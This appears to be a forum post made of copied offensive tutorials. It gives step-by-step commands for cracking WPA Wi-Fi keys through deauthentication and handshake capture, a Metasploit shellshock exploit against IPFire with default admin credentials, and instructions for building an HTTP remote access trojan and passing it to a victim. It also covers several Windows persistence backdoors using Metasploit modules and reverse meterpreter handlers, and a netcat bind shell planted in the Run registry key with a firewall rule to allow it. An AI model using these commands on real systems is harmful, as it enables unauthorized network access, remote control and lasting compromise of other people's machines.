04-24-2020, 12:49 PM
| 0 | 0 | ||
First start the monitor mode which will listen to all the wifi connections nearby with command:
airmon-ng start wlan0
In your lower right corner you will see written. monitor mode enabled for [phy1]wlan0mon
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ndlIN8wSVHo/V26xKkvsKoI/AAAAAAAAMp8/ec-2l7BYrw0RN8rc32YbJ6CiUs9B_ufMACLcB/s1600/1.png?w=687&ssl=1)
Now run the following command to confirm that our wifi adaptor is in monitor mode, so run command:
ifconfig
which will show you the wifi adaptor as wlan0mon meaning adaptor is in monitor mode.
Now run command:
airodump-ng wlan0mon
The above command will start listening to all the available wifi connections.
Now when your target appeas hit ctrl^c and then to capture the handshake type command:
airodump-ng -c 7 –bssid C8:XX:35:XX:FD:F0 –write 1 wlan0mon
Here,
-c is the channel no. of the AP which will be listed in CH column in the output of above command as in my case it is 7.
–bssid is the MAC address of the target AP as in my case it is rajlab and bssid is C8:3A:XX:44:XX:F0
–write is the capture file in which the capture packets will be saved as in my case i have named it as 1 .
OptionDescription
-c
The channel for the wireless network
–bssid
The MAC address of the access point
-w
The file name prefix for the file which will contain authentication handshake
mon0
The wireless interface
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BaR2PyoDyJU/V26xKmV1VSI/AAAAAAAAMqA/Y6MncYAHKKkUmRfJD3eRhkYppF4AaAS_wCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ucXsUxkkYuM/V26xKgDglFI/AAAAAAAAMqE/7-qfAW7pQHMkFxKL_BPoDASyeSlh-gJqQCLcB/s1600/3.png?w=687&ssl=1)
Now start the deauth attack to disconnect all the connected clients to that AP which will help in capturing the handshake with command:
aireplay-ng -0 100 –a XX:3A:35:XX:FD:F0 -e rajlab wlan0mon
Here,
-0 is used for deauth attack
100 is no. of deauth packets to be sent
-a is the target AP MAC address
-e is ESSID of the target AP i.e. name of the target AP
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-lMHt8UmjP2k/V26xLWrpdaI/AAAAAAAAMqQ/X1z8HGpPkS4xPKuR0ZUQ6_UfKfDKwp9JwCLcB/s1600/4.png?w=687&ssl=1)
After launching the deauth attack we will get the WPA handshake in the previous terminal window in the top right corner then hit ctrl^c.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-qwBokmboxCY/V26xLfATIxI/AAAAAAAAMqI/UmzP-qQ2u14WER3kgk4CBgUTcZHVDyt7gCLcB/s1600/5.png?w=687&ssl=1)
aircrack-ng 1-01.cap –w /usr/share/nmap/nselib/data/passwords.lst
Here,
1-01.cap is the capture file we generated in the airodump-ng .
-w is the dictionary to be used to perform dictionary attack
In my case the key is found as KEY FOUND! [raj123987]
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ekngHvIQltY/V26xLc1nbHI/AAAAAAAAMqM/I6GL2cDwbzAM8E1LaHmqom7h1BQ7wr9ZwCLcB/s1600/6.png?w=687&ssl=1)
IPFire, a free linux based open source firewall distribution, version <= 2.15 Update Core 82 contains an authenticated remote command execution vulnerability via shellshock in the request header
Exploit Targets
Ip Fire 2.15
Requirement
Attacker: kali Linux
Victim PC: Linux
Open Kali terminal type msfconsole
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BBLePmoxBBM/V21QYZFn1YI/AAAAAAAAMm4/-5hXC9IFtsoUefz_cb-rOli9ED_TQUbnwCLcB/s1600/1.png?w=687&ssl=1)
msf exploit (ipfire_bashbug_exec)>set rhost 192.168.0.176
msf exploit (ipfire_bashbug_exec)>set username admin
msf exploit (ipfire_bashbug_exec)>set password admin
msf exploit (ipfire_bashbug_exec)>set payload cmd/unix/generic
msf exploit (ipfire_bashbug_exec)>set cmd uname -a
msf exploit (ipfire_bashbug_exec)>exploit
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vhmvX4kekEQ/V21QYR0OfOI/AAAAAAAAMm8/sE2CyTXvouwWIVdkwjjdPsuLs1lcOKKFQCLcB/s1600/2.png?w=687&ssl=1)
HTTP RAT is a kind of Remote Access Trojan which utilizes web interfaces and port 80 to gain access. It can be understood simply as an HTTP Tunnel, except it works in the reverse direction. These Trojans are comparatively more dangerous as these work on the web and thus work almost everywhere where you can find internet.
Here, we would be working with HTTP RAT backdoor web server by a zombie
To download the above from internet and extract the tool. It would something like as shown in the pic below
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-RGOO6O3A2Zk/V20a5b_r2KI/AAAAAAAAMmA/8DM9NbH891g_Vz2HbnLj0AgnuoKt_so8gCLcB/s1600/1.png?w=687&ssl=1)
Double click on the folder and click on the icon with httprat written next to it. Something like this pic pops up on the screen.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-WZ-zE3SKY2Y/V20a579zCSI/AAAAAAAAMmI/P5M3grrJP5wtU2_qG50Sw0-5ZYC9f-cHgCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EfBPdhKB6cY/V20a58s4bhI/AAAAAAAAMmE/Sj1j9_e8ij4tGx1HuPlsJtB7HEbLMAyHwCLcB/s1600/3.png?w=687&ssl=1)
An icon less application with httpserver must be created as in this pic:
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-f3R-gNxL5Ms/V20a6TvPuQI/AAAAAAAAMmM/9XQZIO8miw41N15mBJ0L9hvrxYElkgYwQCLcB/s1600/4.png?w=687&ssl=1)
Send this file to the victim via pen drive or any other means. Once the victim double clicks on the application, it will automatically send a connection back to you. You just need to type the victim’s IP address on the browser. This is what will come on the screen
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-jH9uh1CD7Y0/V20a7irGX3I/AAAAAAAAMmU/XAqb5Cxl2lQdlYUQJbagk5Tl7on0tPmjwCLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-8XqzgMIUEn8/V20a72I0rEI/AAAAAAAAMmY/4NQL_aN6-VwFpU8hzIeh_8I8JuFtaGIVgCLcB/s1600/7.png?w=687&ssl=1)
Persistence
run persistence –X –i 10 –p 443 –r 192.168.0.105
-X=connect back when the system boots
-i 10=try to connect back every 10 seconds
-p 443=reverse connection port
-r ip=reverse connection ip
After successfully executing the script, reboot the system and then use exploit:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.0.105
exploit
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-H52jg2gKC50/V2quuEbakMI/AAAAAAAAMkE/gXOzZpZGfOYjyXYWW6YVfJ-O1UacUSMhgCLcB/s1600/1.png?w=687&ssl=1)
s4u_persistence
Creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user that is not logged into the device. This will result in lower security context, allowing access to local resources only. The module requires ‘Logon as a batch job’ permissions (SeBatchLogonRight)
Now type use exploit/windows/local/s4u_persistence
msf exploit (s4u_persistence)>set payload windows/meterpreter/reverse_tcp
msf exploit (s4u_persistence)>set lhost 192.168.0.137 (IP address of kali Linux)
msf exploit (s4u_persistence)>set lport 443
msf exploit (s4u_persistence)>set trigger logon
msf exploit (s4u_persistence)>set session 2
msf exploit (s4u_persistence)>exploit
Now after successful backdoor creation, restart the victim pc you can see the previous meterpreter session is closed and then run command:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.137
exploit
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-KiYoIdgXb-k/V2quzNG7UFI/AAAAAAAAMkU/rhbRdzRDTmUDAT4c7fNqnyPdnIJ442-WACLcB/s1600/2.png?w=687&ssl=1)
VSS_PERSISTENCE
This module will attempt to create a persistent payload in a new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine.
First take the meterpreter shell and bypass UAC by any known technique and then background the session .Then run series of commands:
Now type use exploit/windows/local/vss_persistence
msf exploit (vss_persistence)>set runkey true
msf exploit (vss_persistence)>set schtask true
msf exploit (vss_persistence)>set rhost 192.168.222.137
msf exploit vss_persistence)>set session 2
msf exploit (vss_persistence)>exploit
Now run exploit which will create a backdoor and will give a meterpreter session.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-i1Dj-K5lKIc/V2quxdForKI/AAAAAAAAMkM/qZbT5jIK7U0Ee1vR4lSc_rz5ua65fdEowCLcB/s1600/3.png?w=687&ssl=1)
Now background it and use the multi handler and also set the payload with commands:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.222.135
set lport 4444
exploit
Now restart the victim system and the meterpreter session will die, and then run: exploit after restarting the system it will give a reverse meterpreter shell.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ULHhBN9n_ZY/V2qx7E4ELPI/AAAAAAAAMlY/0PQSLnQuyCEtP_7bXGAI-aMZZGxRQMsWACLcB/s1600/4.png?w=687&ssl=1)
REGISTRY PERSISTENCE
This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in “CurrentVersion\Run” (depending on privilege and selected method). The payload will be installed completely in registry
First background the meterpreter session and then run commands:
Now type use exploit/windows/local/registry_persistence
msf exploit (registry_persistence)>set payload windows/meterpreter/reverse_tcp
msf exploit (registry_persistence)>set lhost 192.168.222.135 (IP address of kali Linux)
msf exploit (registry_persistence)>set lport 4545
msf exploit (registry_persistence)>set startup system
msf exploit (registry_persistence)>set session 1
msf exploit (registry_persistence)>exploit
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-KCVMMDpzTjE/V2qy6ZKMxaI/AAAAAAAAMlk/S-NI4-R36vU9yCm84_ISNGAwtdcZG7o4QCLcB/s1600/5.png?w=687&ssl=1)
Now set up your system for reverse connection. Run the following commands on your msfconsole:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.222.135
set lport 4545
exploit
Now restart the victim pc and your previous meterpreter session will die, so now run the exploit: After restarting you will get the reverse meterpreter shell as you can see in my case
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5PUcc5rmvvw/V2qy6_I2DzI/AAAAAAAAMlo/U9lSIOFC19coKEdSiY4BYQ6o172KTNfLACLcB/s1600/6.png?w=687&ssl=1)
NETCAT
Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
After getting the meterpreter shell and bypassing UAC run the following command:
upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-I1Z8Nsh6254/V2qu0m3ZCgI/AAAAAAAAMkk/AVHjjoSoyuQoW-X-Ur_0PsFqd18VEKGtACLcB/s1600/7.png?w=687&ssl=1)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d ‘C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe’
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-KmfxSeODYJs/V2qu1ub89SI/AAAAAAAAMkw/nLCuWrMC9fIwj1M4DCM9D7yrbtkCGlq_gCLcB/s1600/8.png?w=687&ssl=1)
Now get the command shell with command:
Shell and then bypass the firewall on the victim system by adding firewall rules with shell command:
netsh advfirewall firewall add rule name=’netcat’ dir=in action=allow protocol=Tcp localport=4445
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-HHollndVQn8/V2qu2bJnjaI/AAAAAAAAMk0/kAfMTKz4eEkQWGQe1yxNBHWfY_tgXFmsACLcB/s1600/9.png?w=687&ssl=1)
Now check whether the rules are added successfully with the command:
netsh firewall show portopening
As you can see the the firewall rule netcat is added successfully.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2nJAn_8Q9Mk/V2qus-URUdI/AAAAAAAAMj8/kvYdeks716scPkY0TF1oqdJMsYnl3bYGQCLcB/s1600/10.png?w=687&ssl=1)
Now after restarting of the victim system , run the following command on the terminal:
nc -nv 192.168.0.101 4445
Here 192.168.0.101 is the victim system you previously created backdoor and 4445 is the port you gave while setting the registry value.
After successful running the command you will get the command shell.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Z9C16oL19Fk/V2quteCIaoI/AAAAAAAAMkA/wqxDqAOSqPg20W4DGDeC3MqZUsddmT5owCLcB/s1600/11.png?w=687&ssl=1)













